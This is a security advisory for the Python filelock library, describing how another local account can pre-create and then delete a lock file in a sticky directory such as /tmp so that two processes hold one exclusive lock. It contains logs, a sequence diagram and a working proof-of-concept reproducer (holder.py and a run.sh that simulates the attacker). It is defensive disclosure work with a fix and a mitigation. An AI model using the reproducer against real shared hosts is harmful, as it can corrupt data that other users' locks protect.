# GHSA-386W-3W6Q-9C53: FileLock on Unix lets two processes hold one lock after another user removes the lock file

- Database: GitHub
- Severity: CVSS 2.5 (Low)
- Published: 2026-11-18
- Modified: 2026-12-03

## Tracked as

- [CVE-2026-144405](https://cve.now/CVE-2026-144405.md): FileLock on Unix lets two processes hold one lock after another user removes the lock file

## Affected versions

- filelock (PyPI): from 3.13.2, through 4.2.11

## Description

## Summary

On Unix, `FileLock` locks a regular file that already exists at the lock path, including one another local account created. Under a sticky directory such as `/tmp` that account owns the file and may remove it while a process holds the lock. The next process to acquire the lock creates and locks a new file at the same path, so two processes hold the same exclusive lock.

[oss-security-shopify](https://github.com/oss-security-shopify) reported this through private vulnerability reporting as `GHSA-386w-3w6q-9c53`, received on 17 November 2026.

## Affected area

Acquisition of the native Unix lock, `UnixFileLock`, which `FileLock` names where `fcntl` is available.

## Attacker-controlled input

Another local account must be able to create the lock file before the victim does, in a sticky directory both can write, and must know or guess the lock path. It does not need access to the resource the lock protects, and it does not need to win a race: it removes the file at any time during a hold.

## Affected code

In 4.2.11, [`_open_lock_file`](https://github.com/tox-dev/filelock/blob/554c37b565dba0e0a5a92e4064cefc057a309da4/src/filelock/_unix.py#L127-L152) opens an existing file when the exclusive create fails, and [`_finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/554c37b565dba0e0a5a92e4064cefc057a309da4/src/filelock/_unix.py#L178-L185) records the hold after checking only that the file still has a link.

## Mechanism

1. The attacker creates the lock file with mode `0666` in a sticky directory.
2. The victim's exclusive create fails with `EEXIST`, or with `EACCES` where the kernel protects files in sticky directories ([`fs.protected_regular`](https://www.kernel.org/doc/html/latest/admin-guide/sysctl/fs.html#protected-regular)). Both paths reach `_open_existing_lock_file`, which opens the attacker's file without `O_CREAT`. [#317](https://github.com/tox-dev/filelock/pull/317) added the `EACCES` path in 3.13.2.
3. The victim takes [`flock`](https://man7.org/linux/man-pages/man2/flock.2.html) on that file. `_finalize_locked_fd` sees `st_nlink == 1` and records the hold. Nothing compares `st_uid` with the caller's user ID.
4. The attacker unlinks the file. The sticky bit lets a file's owner remove it ([`unlink(2)`](https://man7.org/linux/man-pages/man2/unlink.2.html), `EPERM`). The victim's `flock` stays on the unlinked inode.
5. A second process creates a new file at the path with `O_CREAT | O_EXCL`, takes `flock` on the new inode and enters the protected section while the first is still in it.

Out of scope: a lock file the caller created, which other accounts cannot remove under a sticky directory; a directory without the sticky bit that other accounts can write, where any of them can remove any file ([the directory boundary](https://py-filelock.readthedocs.io/en/latest/concepts.html#the-directory-boundary)); Windows; the soft locks, which already refuse a coordination directory of another account.

## Reproduction and evidence

Run on Linux 7.3.3 (Fedora 45) in a user namespace that maps three user IDs: 1001 as the attacker and 1002 for both victim processes. Each victim holds the lock for 4 seconds and waits at most 2 seconds for it.

Control, 4.2.11, the attacker leaves the file in place. The second process times out:

```text
lock file: owner uid 1001, mode 666
directory: mode 1777
first entered 10:57:44
filelock._error.Timeout: The file lock '/mnt/shared/app.lock' could not be acquired.
second exit status: 1
first left 10:57:48
```

4.2.11 (commit `554c37b5`), the attacker removes the file 1.5 seconds into the first hold. Both processes are inside from 10:47:01 to 10:47:04:

```text
lock file: owner uid 1001, mode 666
directory: mode 1777
first entered 10:47:00
uid 1001 removed the lock file
second entered 10:47:01
first left 10:47:04
second left 10:47:05
second exit status: 0
```

3.13.1, the release before #317, refuses the file, so the first process never holds it:

```text
PermissionError: [Errno 13] Permission denied: '/mnt/shared/app.lock'
```

With the fix (commit `4536f7da`), the first process is refused:

```text
PermissionError: [Errno 13] lock file belongs to uid 1001, not to this process's account or the directory's owner: '/mnt/shared/app.lock'
```

## Attack sequence

```mermaid
sequenceDiagram
    participant A as Attacker (uid 1001)
    participant P as /tmp/app.lock
    participant V1 as Victim process 1
    participant V2 as Victim process 2
    A->>P: create file, mode 0666
    V1->>+P: open existing file, flock inode 1
    P-->>V1: lock held
    rect rgb(255, 214, 214)
    A->>P: unlink (owner under sticky directory)
    V2->>+P: O_CREAT | O_EXCL creates inode 2, flock
    P-->>V2: lock held while process 1 still holds inode 1
    end
    deactivate P
    deactivate P
    rect rgb(216, 243, 220)
    V1->>P: fixed: fstat shows another owner
    P-->>V1: PermissionError, no hold
    end
```

## Reproducer files

Written for this advisory; the report's cross-account steps were not run by the reporter. Install the release to test into a directory, then run from the directory holding both files. It needs `unshare` with subordinate user IDs and no root:

```text
uv pip install --target site "filelock==4.2.11"
unshare --map-auto --map-root-user --setgroups allow -m sh run.sh "$PWD/site" "$PWD/holder.py" unlink
```

Pass `control` in place of `unlink` to leave the file in place.

**`holder.py`**

```python
import sys
import time

from filelock import FileLock

with FileLock(sys.argv[2], timeout=float(sys.argv[3])):
    print(sys.argv[1], "entered", time.strftime("%X"), flush=True)
    time.sleep(4)
print(sys.argv[1], "left", time.strftime("%X"), flush=True)
```

**`run.sh`**

```sh
# usage: unshare --map-auto --map-root-user --setgroups allow -m sh run.sh <site-dir with filelock> <holder.py> control|unlink
set -u
mount -t tmpfs tmpfs /mnt
cp -r "$1" /mnt/site; cp "$2" /mnt/holder.py; chmod -R a+rX /mnt
mkdir /mnt/shared; chmod 1777 /mnt/shared
lock=/mnt/shared/app.lock
as() { uid=$1; shift; setpriv --reuid "$uid" --regid "$uid" --clear-groups "$@"; }
hold() { as 1002 env PYTHONPATH=/mnt/site PYTHONDONTWRITEBYTECODE=1 python3 /mnt/holder.py "$1" "$lock" 2; }
as 1001 sh -c "umask 000; : > $lock"
stat -c 'lock file: owner uid %u, mode %a' "$lock"; stat -c 'directory: mode %a' /mnt/shared
hold first &
sleep 1.5
if [ "$3" = unlink ]; then as 1001 rm "$lock" && echo "uid 1001 removed the lock file"; fi
hold second; echo "second exit status: $?"
wait
```

## Impact

Two cooperating processes run the protected section at the same time, so whatever the application guards with the lock can be written twice or left inconsistent. The attacker gains no access to that resource and no code execution. What the overlap costs depends on the application and is not established here.

Reproducibility: moderate. The steps are deterministic and need no race, but they need a second local account and a lock path in a sticky directory that the attacker creates first.

Real-world exposure: niche. Most applications keep locks in a directory only their own account writes. A lock at a fixed path in `/tmp` on a host with other local accounts is the exposed setup, and the documentation named `/tmp` as a suitable sticky directory.

Severity: 2.5 (Low), `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N`.

- `AV:L`: the attacker needs a local account on the host.
- `AC:H`: the attack depends on conditions the attacker does not control. The application must keep its lock at a predictable path in a shared sticky directory, and the attacker must create the file before any victim does.
- `PR:L`: an unprivileged account suffices.
- `UI:N`: no user action is needed.
- `S:U`: the effect stays within the application using the lock.
- `C:N`: nothing is disclosed.
- `I:L`: the overlap can corrupt what the lock guards, but the attacker does not choose what is written. The evidence does not show more, so the lower value applies.
- `A:N`: before this flaw the same attacker could already delay victims by holding the lock.

## Versions tested

Reproduced on 3.13.2, 3.20.3, 4.0.0 and 4.2.11. Not reproduced on 3.13.1, which raises `PermissionError`. Releases between those tested were not run.

[PR #968](https://github.com/tox-dev/filelock/pull/968) makes `UnixFileLock` raise `PermissionError` for a lock file under a sticky directory that belongs to neither the caller's account nor the directory's owner. The check runs on the opened file once the lock is taken, and it is the rule `StrictSoftFileLock` and `SoftReadWriteLock` already apply to their coordination directories.

## Known mitigation

Keep the lock file in a directory that only the accounts using the lock can write. Where the lock has to live in a shared sticky directory, have the directory's owner create the file before any other account can.

## Affected release

- [x] 4.2.11
- [x] 4.0.0
- [x] 3.20.3
- [x] 3.13.2
- [ ] 3.13.1

## Credits

[oss-security-shopify](https://github.com/oss-security-shopify), `GHSA-386w-3w6q-9c53`.

## References

- https://github.com/tox-dev/filelock/security/advisories/GHSA-386w-3w6q-9c53

Page: https://cve.now/GHSA-386W-3W6Q-9C53

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
